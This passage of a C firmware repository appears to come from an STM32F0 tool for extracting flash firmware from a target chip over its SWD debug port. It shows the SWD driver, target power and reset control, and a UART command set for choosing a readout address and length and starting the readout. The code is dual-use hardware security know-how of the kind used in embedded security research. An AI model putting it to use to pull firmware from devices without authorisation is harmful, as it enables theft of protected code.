| MWAIT; 245 | GPIO_SWCLK->BSRR = (0x01u << (PIN_SWCLK + BSRR_CLEAR)); 246 | MWAIT; 247 | } 248 | 249 | return ; 250 | } 251 | 252 | 253 | static void swdBuildHeader( swdAccessDirection_t const adir, swdPortSelect_t const portSel, uint8_t const A32, uint8_t * const header) 254 | { 255 | 256 | if (portSel == swdPortSelectAP) 257 | { 258 | *header |= 0x02u; /* Access AP */ 259 | } 260 | 261 | if (adir == swdAccessDirectionRead) 262 | { 263 | *header |= 0x04u; /* read access */ 264 | } 265 | 266 | switch (A32) 267 | { 268 | case 0x01u: 269 | *header |= 0x08u; 270 | break; 271 | 272 | case 0x02u: 273 | *header |= 0x10u; 274 | break; 275 | 276 | case 0x03u: 277 | *header |= 0x18u; 278 | break; 279 | 280 | default: 281 | case 0x00u: 282 | 283 | break; 284 | } 285 | 286 | *header |= swdParity(header, 7u) << 5u; 287 | *header |= 0x01u; /* startbit */ 288 | *header |= 0x80u; 289 | } 290 | 291 | 292 | static swdStatus_t swdReadPacket( swdPortSelect_t const portSel, uint8_t const A32, uint32_t * const data ) 293 | { 294 | swdStatus_t ret = swdStatusNone; 295 | uint8_t header = 0x00u; 296 | uint8_t rp[1] = {0x00u}; 297 | uint8_t resp[5] = {0u}; 298 | uint8_t i = 0u; 299 | 300 | swdBuildHeader( swdAccessDirectionRead, portSel, A32, &header ); 301 | 302 | swdDatasend( &header, 8u ); 303 | swdDataIdle(); 304 | swdTurnaround(); 305 | swdDataRead( rp, 3u ); 306 | 307 | swdDataRead( resp, 33u ); 308 | 309 | swdDataPP(); 310 | 311 | for (i=0u; i < N_READ_TURN; ++i) 312 | { 313 | swdTurnaround(); 314 | } 315 | 316 | *data = resp[4] | (resp[3] << 8u) | (resp[2] << 16u) | (resp[1] << 24u); 317 | 318 | ret = rp[0]; 319 | 320 | return ret; 321 | } 322 | 323 | 324 | static swdStatus_t swdWritePacket( swdPortSelect_t const portSel, uint8_t const A32, uint32_t const data ) 325 | { 326 | swdStatus_t ret = swdStatusNone; 327 | uint8_t header = 0x00u; 328 | uint8_t rp[1] = {0x00u}; 329 | uint8_t data1[5] = {0u}; 330 | uint8_t i = 0u; 331 | 332 | swdBuildHeader( swdAccessDirectionWrite, portSel, A32, &header ); 333 | 334 | swdDatasend( &header, 8u ); 335 | MWAIT; 336 | 337 | swdDataIdle(); 338 | MWAIT; 339 | 340 | swdTurnaround(); 341 | 342 | swdDataRead( rp, 3u ); 343 | 344 | swdDataIdle(); 345 | 346 | swdTurnaround(); 347 | swdDataPP(); 348 | 349 | data1[0] = data & 0xFFu; 350 | data1[1] = (data >> 8u) & 0xFFu; 351 | data1[2] = (data >> 16u) & 0xFFu; 352 | data1[3] = (data >> 24u) & 0xFFu; 353 | data1[4] = swdParity(data1, 8u * 4u); 354 | 355 | swdDatasend( data1, 33u ); 356 | 357 | swdDataPP(); 358 | 359 | for (i=0u; i < 20u; ++i) 360 | { 361 | swdTurnaround(); 362 | } 363 | 364 | ret = rp[0]; 365 | 366 | return ret; 367 | } 368 | 369 | 370 | swdStatus_t swdReadIdcode( uint32_t * const idCode ) 371 | { 372 | uint32_t ret = 0u; 373 | 374 | ret = swdReadPacket(swdPortSelectDP, 0x00u, idCode); 375 | 376 | return ret; 377 | } 378 | 379 | 380 | swdStatus_t swdSelectAPnBank(uint8_t const ap, uint8_t const bank) 381 | { 382 | swdStatus_t ret = swdStatusNone; 383 | uint32_t data = 0x00000000u; 384 | 385 | data |= (uint32_t) (ap & 0xFFu) << 24u; 386 | data |= (uint32_t) (bank & 0x0Fu) << 0u; 387 | 388 | /* write to select register */ 389 | ret |= swdWritePacket(swdPortSelectDP, 0x02u, data); 390 | 391 | return ret; 392 | } 393 | 394 | 395 | static swdStatus_t swdReadAP0( uint32_t * const data ) 396 | { 397 | swdStatus_t ret = swdStatusNone; 398 | 399 | swdReadPacket(swdPortSelectAP, 0x00u, data); 400 | 401 | return ret; 402 | } 403 | 404 | 405 | swdStatus_t swdSetAP32BitMode( uint32_t * const data ) 406 | { 407 | swdStatus_t ret = swdStatusNone; 408 | 409 | swdSelectAPnBank( 0x00u, 0x00u ); 410 | 411 | uint32_t d = 0u; 412 | 413 | ret |= swdReadAP0( &d ); 414 | 415 | ret |= swdReadPacket(swdPortSelectDP, 0x03u, &d); 416 | 417 | d &= ~(0x07u); 418 | d |= 0x02u; 419 | 420 | ret |= swdWritePacket(swdPortSelectAP, 0x00u, d); 421 | 422 | ret |= swdReadAP0( &d ); 423 | ret |= swdReadPacket(swdPortSelectDP, 0x03u, &d); 424 | 425 | if (data != NULL) 426 | { 427 | *data = d; 428 | } 429 | 430 | return ret; 431 | } 432 | 433 | 434 | swdStatus_t swdSelectAHBAP( void ) 435 | { 436 | swdStatus_t ret = swdSelectAPnBank(0x00u, 0x00u); 437 | 438 | return ret; 439 | } 440 | 441 | 442 | swdStatus_t swdReadAHBAddr( uint32_t const addr, uint32_t * const data ) 443 | { 444 | swdStatus_t ret = swdStatusNone; 445 | uint32_t d = 0u; 446 | 447 | ret |= swdWritePacket(swdPortSelectAP, 0x01u, addr); 448 | 449 | ret |= swdReadPacket(swdPortSelectAP, 0x03u, &d); 450 | ret |= swdReadPacket(swdPortSelectDP, 0x03u, &d); 451 | 452 | *data = d; 453 | 454 | return ret; 455 | } 456 | 457 | 458 | swdStatus_t swdEnableDebugIF( void ) 459 | { 460 | swdStatus_t ret = swdStatusNone; 461 | 462 | ret |= swdWritePacket(swdPortSelectDP, 0x01u, 0x50000000u); 463 | 464 | return ret; 465 | } 466 | 467 | 468 | swdStatus_t swdInit( uint32_t * const idcode ) 469 | { 470 | swdStatus_t ret = swdStatusNone; 471 | 472 | swdReset(); 473 | ret |= swdReadIdcode( idcode ); 474 | 475 | return ret; 476 | } 477 | 478 | 479 | #ifdef UNUSED_EXPERIMENTAL 480 | static swdStatus_t swdReadDPCtrl( uint32_t * const data ) 481 | { 482 | swdStatus_t ret = swdStatusNone; 483 | 484 | ret |= swdSelectAPnBank(0x00u, 0x00u); 485 | ret |= swdReadPacket(swdPortSelectAP, 0x01u, data); 486 | 487 | return ret; 488 | } 489 | 490 | 491 | static swdStatus_t swdReadAPCtrl( uint32_t * const data ) 492 | { 493 | swdStatus_t ret = swdStatusNone; 494 | 495 | ret |= swdReadPacket(swdPortSelectDP, 0x01u, data); 496 | 497 | return ret; 498 | } 499 | 500 | 501 | static swdStatus_t swdReadWIREMODE( uint32_t * const data ) 502 | { 503 | swdStatus_t ret = swdStatusNone; 504 | 505 | ret |= swdWritePacket(swdPortSelectDP, 0x02u, 0x00000001u); 506 | ret |= swdReadPacket(swdPortSelectDP, 0x01u, data); 507 | 508 | return data; 509 | } 510 | 511 | 512 | static swdStatus_t swdReadDHCSR( uint32_t * const data ) 513 | { 514 | swdStatus_t ret = swdReadAHBAddr(0xE000EDF0u, data); 515 | 516 | return ret; 517 | } 518 | 519 | 520 | static swdStatus_t swdWriteAHBAddr( uint32_t const addr, uint32_t const data ) 521 | { 522 | swdStatus_t ret = swdStatusNone; 523 | 524 | ret |= swdWritePacket(swdPortSelectAP, 0x01u, addr); 525 | ret |= swdWritePacket(swdPortSelectAP, 0x03u, data); 526 | 527 | return ret; 528 | } 529 | 530 | 531 | static swdStatus_t swdCoreHalt( void ) 532 | { 533 | swdStatus_t ret = swdStatusNone; 534 | 535 | ret |= swdWriteAHBAddr(0xE000EDF0u, 0xA05F0003u); 536 | 537 | return ret; 538 | } 539 | 540 | 541 | static swdStatus_t swdGetRegister( uint8_t const regId, uint32_t * const data ) 542 | { 543 | swdWriteAHBAddr(0xE000EDF4u, regId & 0x1Fu); 544 | 545 | swdStatus_t ret = swdReadAHBAddr(0xE000EDF8u, data); 546 | 547 | return ret; 548 | } 549 | 550 | #endif 551 | -------------------------------------------------------------------------------- /swd.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2017 Obermaier Johannes 3 | * 4 | * This Source Code Form is subject to the terms of the MIT License. 5 | * If a copy of the MIT License was not distributed with this file, 6 | * you can obtain one at https://opensource.org/licenses/MIT 7 | */ 8 | 9 | #ifndef INC_SWD_H 10 | #define INC_SWD_H 11 | #include 12 | #include "st/stm32f0xx.h" 13 | 14 | 15 | #define RCC_AHBENR_GPIO_SWDIO (RCC_AHBENR_GPIOAEN) 16 | #define RCC_AHBENR_GPIO_SWCLK (RCC_AHBENR_GPIOAEN) 17 | 18 | #define GPIO_SWDIO (GPIOA) 19 | #define PIN_SWDIO (10u) 20 | 21 | #define GPIO_SWCLK (GPIOA) 22 | #define PIN_SWCLK (11u) 23 | 24 | 25 | /* Internal SWD status. There exist combined SWD status values (e.g. 0x60), since subsequent command replys are OR'ed. Thus there exist cases where the previous command executed correctly (returned 0x20) and the following command failed (returned 0x40), resulting in 0x60. */ 26 | typedef enum { 27 | // TODO: 0xA0 fehlt. 28 | swdStatusNone = 0x00u, /* No status available (yet) */ 29 | swdStatusOk = 0x20u, /* Status OK */ 30 | swdStatusWait = 0x40u, /* Wait/Retry requested (bus access was not granted in time) */ 31 | swdStatusWaitOK = 0x60u, /* Wait requested + additional OK (previous command OK, but no bus access) */ 32 | swdStatusFault = 0x80u, /* Fault during command execution (command error (access denied etc.)) */ 33 | swdStatusFaultOK = 0xA0u, /* Fault during command execution, previous command was successful */ 34 | swdStatusFailure = 0xE0u /* Failure during communication (check connection, no valid status reply received) */ 35 | } swdStatus_t; 36 | 37 | 38 | typedef enum { 39 | swdPortSelectDP = 0x00u, 40 | swdPortSelectAP = 0x01u 41 | } swdPortSelect_t; 42 | 43 | 44 | typedef enum { 45 | swdAccessDirectionWrite = 0x00u, 46 | swdAccessDirectionRead = 0x01u 47 | } swdAccessDirection_t; 48 | 49 | 50 | void swdCtrlInit( void ); 51 | swdStatus_t swdEnableDebugIF( void ); 52 | swdStatus_t swdReadIdcode( uint32_t * const idCode ); 53 | swdStatus_t swdSelectAPnBank(uint8_t const ap, uint8_t const bank); 54 | swdStatus_t swdReadAHBAddr( uint32_t const addr, uint32_t * const data ); 55 | swdStatus_t swdInit( uint32_t * const idcode ); 56 | swdStatus_t swdSetAP32BitMode( uint32_t * const data ); 57 | swdStatus_t swdSelectAHBAP( void ); 58 | 59 | #endif 60 | -------------------------------------------------------------------------------- /swdFirmwareExtractor.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bikemike/swdFirmwareExtractor/37dbd28262ac88802c72bf6c7ed45ac2b870ca26/swdFirmwareExtractor.elf -------------------------------------------------------------------------------- /target.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2017 Obermaier Johannes 3 | * 4 | * This Source Code Form is subject to the terms of the MIT License. 5 | * If a copy of the MIT License was not distributed with this file, 6 | * you can obtain one at https://opensource.org/licenses/MIT 7 | */ 8 | 9 | #include "target.h" 10 | #include "clk.h" 11 | 12 | void targetSysCtrlInit( void ) 13 | { 14 | RCC->AHBENR |= RCC_AHBENR_GPIO_RESET; 15 | RCC->AHBENR |= RCC_AHBENR_GPIO_POWER; 16 | 17 | GPIO_RESET->MODER |= (0x01u << (PIN_RESET << 1u)); 18 | GPIO_POWER->MODER |= (0x01u << (PIN_POWER << 1u)); 19 | 20 | GPIO_RESET->OSPEEDR |= (0x03u << (PIN_RESET << 1u)); 21 | GPIO_POWER->OSPEEDR |= (0x03u << (PIN_POWER << 1u)); 22 | 23 | targetSysOff(); 24 | targetSysReset(); 25 | 26 | return ; 27 | } 28 | 29 | void targetSysReset( void ) 30 | { 31 | GPIO_RESET->BSRR = (0x01u << (PIN_RESET + BSRR_CLEAR)); 32 | 33 | return ; 34 | } 35 | 36 | void targetSysUnReset( void ) 37 | { 38 | GPIO_RESET->BSRR = (0x01u << (PIN_RESET + BSRR_SET)); 39 | 40 | return ; 41 | } 42 | 43 | 44 | void targetSysOff( void ) 45 | { 46 | GPIO_POWER->BSRR = (0x01u << (PIN_POWER + BSRR_CLEAR)); 47 | 48 | return ; 49 | } 50 | 51 | void targetSysOn( void ) 52 | { 53 | GPIO_POWER->BSRR = (0x01u << (PIN_POWER + BSRR_SET)); 54 | 55 | return ; 56 | } 57 | -------------------------------------------------------------------------------- /target.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2017 Obermaier Johannes 3 | * 4 | * This Source Code Form is subject to the terms of the MIT License. 5 | * If a copy of the MIT License was not distributed with this file, 6 | * you can obtain one at https://opensource.org/licenses/MIT 7 | */ 8 | 9 | #ifndef INC_TARGET_H 10 | #define INC_TARGET_H 11 | #include "st/stm32f0xx.h" 12 | 13 | #define RCC_AHBENR_GPIO_RESET (RCC_AHBENR_GPIOAEN) 14 | #define RCC_AHBENR_GPIO_POWER (RCC_AHBENR_GPIOAEN) 15 | 16 | #define GPIO_RESET (GPIOA) 17 | #define PIN_RESET (12u) 18 | 19 | #define GPIO_POWER (GPIOA) 20 | #define PIN_POWER (9u) 21 | 22 | 23 | void targetSysCtrlInit( void ); 24 | void targetSysReset( void ); 25 | void targetSysUnReset( void ); 26 | void targetSysOff( void ); 27 | void targetSysOn( void ); 28 | 29 | #endif 30 | -------------------------------------------------------------------------------- /uart.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2017 Obermaier Johannes 3 | * 4 | * This Source Code Form is subject to the terms of the MIT License. 5 | * If a copy of the MIT License was not distributed with this file, 6 | * you can obtain one at https://opensource.org/licenses/MIT 7 | */ 8 | 9 | #include 10 | #include "main.h" 11 | #include "uart.h" 12 | 13 | #define UART_WAIT_TRANSMIT do { ; } while (!(USART2->ISR & USART_ISR_TXE)); 14 | #define UART_BUFFER_LEN (12u) 15 | 16 | static const char chrTbl[] = "0123456789ABCDEF"; 17 | uint8_t uartStr[UART_BUFFER_LEN] = {0u}; 18 | uint8_t uartStrInd = 0u; 19 | 20 | static void uartExecCmd( uint8_t const * const cmd, uartControl_t * const ctrl ); 21 | 22 | /* UART: PA2 (TX), PA3 (RX) */ 23 | 24 | void uartInit( void ) 25 | { 26 | uint8_t volatile uartData = 0u; 27 | uartData = uartData; /* suppress GCC warning... */ 28 | 29 | RCC->AHBENR |= RCC_AHBENR_GPIOAEN; 30 | 31 | /* USART2 configuration */ 32 | RCC->APB1ENR |= RCC_APB1ENR_USART2EN; 33 | GPIOA->MODER |= GPIO_MODER_MODER2_1 | GPIO_MODER_MODER3_1; 34 | GPIOA->OSPEEDR |= (GPIO_OSPEEDR_OSPEEDR2_0 | GPIO_OSPEEDR_OSPEEDR2_1) | (GPIO_OSPEEDR_OSPEEDR3_0 | GPIO_OSPEEDR_OSPEEDR3_1); 35 | GPIOA->PUPDR |= GPIO_PUPDR_PUPDR2_1 | GPIO_PUPDR_PUPDR3_1; 36 | GPIOA->AFR[0] = (0x01u << (2u * 4u)) | (0x01u << (3u * 4u)); 37 | USART2->CR2 = 0u; 38 | USART2->BRR = 0x1A1u; /* 115200 Baud at 48 MHz clock */ 39 | USART2->CR1 = USART_CR1_UE | USART_CR1_RE | USART_CR1_TE; 40 | 41 | /* Flush UART buffers */ 42 | uartData = USART2->RDR; 43 | uartData = USART2->RDR; 44 | uartData = USART2->RDR; 45 | 46 | return ; 47 | } 48 | 49 | 50 | static void uartExecCmd( uint8_t const * const cmd, uartControl_t * const ctrl ) 51 | { 52 | uint8_t i = 1u; 53 | uint8_t c = 0u; 54 | uint32_t hConv = 0u; 55 | 56 | switch (cmd[0]) 57 | { 58 | case 'a': 59 | case 'A': 60 | 61 | case 'l': 62 | case 'L': 63 | hConv = 0u; 64 | 65 | for (i = 1; i < (UART_BUFFER_LEN - 1u); ++i) 66 | { 67 | c = cmd[i]; 68 | if ((c <= '9') && (c >= '0')) 69 | { 70 | c -= '0'; 71 | } 72 | else if ((c >= 'a') && (c <= 'f')) 73 | { 74 | c -= 'a'; 75 | c += 0x0A; 76 | } 77 | else if ((c >= 'A') && (c <= 'F')) 78 | { 79 | c -= 'A'; 80 | c += 0x0A; 81 | } 82 | else 83 | { 84 | break; 85 | } 86 | hConv <<= 4u; 87 | hConv |= c; 88 | } 89 | 90 | 91 | if ((cmd[0] == 'a') || (cmd[0] == 'A')) 92 | { 93 | /* Enforce 32-bit alignment */ 94 | while ((hConv & 0x00000003u) != 0x00u) 95 | { 96 | --hConv; 97 | } 98 | 99 | ctrl->readoutAddress = hConv; 100 | uartSendStr("Start address set to 0x"); 101 | uartSendWordHexBE(hConv); 102 | uartSendStr("\r\n"); 103 | } 104 | else /* l or L */ 105 | { 106 | /* Enforce 32-bit alignment */ 107 | while ((hConv & 0x00000003u) != 0x00u) 108 | { 109 | ++hConv; 110 | } 111 | 112 | ctrl->readoutLen = hConv; 113 | uartSendStr("Readout length set to 0x"); 114 | uartSendWordHexBE(hConv); 115 | uartSendStr("\r\n"); 116 | } 117 | 118 | break; 119 | 120 | case 'b': 121 | case 'B': 122 | ctrl->transmitHex = 0u; 123 | uartSendStr("Binary output mode selected\r\n"); 124 | break; 125 | 126 | case 'e': 127 | ctrl->transmitLittleEndian = 1u; 128 | uartSendStr("Little Endian mode enabled\r\n"); 129 | break; 130 | 131 | case 'E': 132 | ctrl->transmitLittleEndian = 0u; 133 | uartSendStr("Big Endian mode enabled\r\n"); 134 | break; 135 | 136 | case 'h': 137 | case 'H': 138 | ctrl->transmitHex = 1u; 139 | uartSendStr("Hex output mode selected\r\n"); 140 | break; 141 | 142 | case 'p': 143 | case 'P': 144 | printExtractionStatistics(); 145 | break; 146 | 147 | case 's': 148 | case 'S': 149 | ctrl->active = 1u; 150 | uartSendStr("Flash readout started!\r\n"); 151 | break; 152 | 153 | case '\n': 154 | case '\r': 155 | case '\0': 156 | /* ignore */ 157 | break; 158 | 159 | default: 160 | uartSendStr("ERROR: unknown command\r\n"); 161 | break; 162 | 163 | } 164 | } 165 | 166 | 167 | void uartReceiveCommands( uartControl_t * const ctrl ) 168 | { 169 | uint8_t uartData = 0u; 170 | 171 | if (USART2->ISR & USART_ISR_RXNE) 172 | { 173 | uartData = USART2->RDR; 174 | 175 | switch (uartData) 176 | { 177 | /* ignore \t */ 178 | case '\t': 179 | break; 180 | 181 | /* Accept \r and \n as command delimiter */ 182 | case '\r': 183 | case '\n': 184 | /* Execute Command */ 185 | uartExecCmd(uartStr, ctrl); 186 | uartStrInd = 0u; 187 | memset(uartStr, 0x00u, sizeof(uartStr)); 188 | break; 189 | 190 | default: 191 | if (uartStrInd < (UART_BUFFER_LEN - 1u)) 192 | { 193 | uartStr[uartStrInd] = uartData; 194 | ++uartStrInd; 195 | } 196 | break; 197 | } 198 | } 199 | 200 | return ; 201 | } 202 | 203 | 204 | void uartSendWordBin( uint32_t const val, uartControl_t const * const ctrl ) 205 | { 206 | if (ctrl->transmitLittleEndian) 207 | { 208 | uartSendWordBinLE( val ); 209 | } 210 | else 211 | { 212 | uartSendWordBinBE( val ); 213 | } 214 | } 215 | 216 | 217 | void uartSendWordHex( uint32_t const val, uartControl_t const * const ctrl ) 218 | { 219 | if (ctrl->transmitLittleEndian) 220 | { 221 | uartSendWordHexLE( val ); 222 | } 223 | else 224 | { 225 | uartSendWordHexBE( val ); 226 | } 227 | } 228 | 229 | 230 | void uartSendWordBinLE( uint32_t const val ) 231 | { 232 | uint8_t i = 0u; 233 | uint32_t tval = val; 234 | 235 | for (i = 0u; i < 4u; ++i) 236 | { 237 | USART2->TDR = tval & 0xFFu; 238 | tval >>= 8u; 239 | UART_WAIT_TRANSMIT; 240 | } 241 | 242 | return ; 243 | } 244 | 245 | 246 | void uartSendWordBinBE( uint32_t const val ) 247 | { 248 | uint8_t i = 0u; 249 | uint32_t tval = val; 250 | 251 | for (i = 0u; i < 4u; ++i) 252 | { 253 | USART2->TDR = ((tval >> ((3u - i) << 3u)) & 0xFFu); 254 | UART_WAIT_TRANSMIT; 255 | } 256 | 257 | return ; 258 | } 259 | 260 | 261 | void uartSendWordHexLE( uint32_t const val ) 262 | { 263 | uint8_t i = 0u; 264 | uint32_t tval = val; 265 | 266 | for (i = 0u; i < 4u; ++i) 267 | { 268 | uartSendByteHex( tval & 0xFFu ); 269 | tval >>= 8u; 270 | } 271 | 272 | return; 273 | } 274 | 275 | 276 | void uartSendWordHexBE( uint32_t const val ) 277 | { 278 | uint8_t i = 0u; 279 | uint32_t tval = val; 280 | 281 | for (i = 0u; i < 4u; ++i) 282 | { 283 | uartSendByteHex((tval >> ((3u - i) << 3u)) & 0xFFu); 284 | UART_WAIT_TRANSMIT; 285 | } 286 | 287 | return ; 288 | } 289 | 290 | 291 | void uartSendByteHex( uint8_t const val ) 292 | { 293 | char sendstr[3] = {0}; 294 | 295 | sendstr[0] = chrTbl[(val >> 4u) & 0x0Fu]; 296 | sendstr[1] = chrTbl[val & 0x0Fu]; 297 | sendstr[2] = '\0'; 298 | 299 | uartSendStr( sendstr ); 300 | 301 | return ; 302 | } 303 | 304 | 305 | void uartSendStr( const char * const str ) 306 | { 307 | const char * strptr = str; 308 | 309 | while (*strptr) 310 | { 311 | USART2->TDR = *strptr; 312 | ++strptr; 313 | UART_WAIT_TRANSMIT; 314 | } 315 | 316 | return ; 317 | } 318 | -------------------------------------------------------------------------------- /uart.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2017 Obermaier Johannes 3 | * 4 | * This Source Code Form is subject to the terms of the MIT License. 5 | * If a copy of the MIT License was not distributed with this file, 6 | * you can obtain one at https://opensource.org/licenses/MIT 7 | */ 8 | 9 | #ifndef INC_UART_H 10 | #define INC_UART_H 11 | #include "st/stm32f0xx.h" 12 | 13 | typedef struct { 14 | uint32_t transmitHex; 15 | uint32_t transmitLittleEndian; 16 | uint32_t readoutAddress; 17 | uint32_t readoutLen; 18 | uint32_t active; 19 | } uartControl_t; 20 | 21 | void uartInit( void ); 22 | void uartReceiveCommands( uartControl_t * const ctrl ); 23 | void uartSendWordBin( uint32_t const val, uartControl_t const * const ctrl ); 24 | void uartSendWordHex( uint32_t const val, uartControl_t const * const ctrl ); 25 | void uartSendWordBinLE( uint32_t const val ); 26 | void uartSendWordBinBE( uint32_t const val ); 27 | void uartSendWordHexLE( uint32_t const val ); 28 | void uartSendWordHexBE( uint32_t const val ); 29 | void uartSendByteHex( uint8_t const val ); 30 | void uartSendStr( const char * const str ); 31 | 32 | 33 | #endif 34 | --------------------------------------------------------------------------------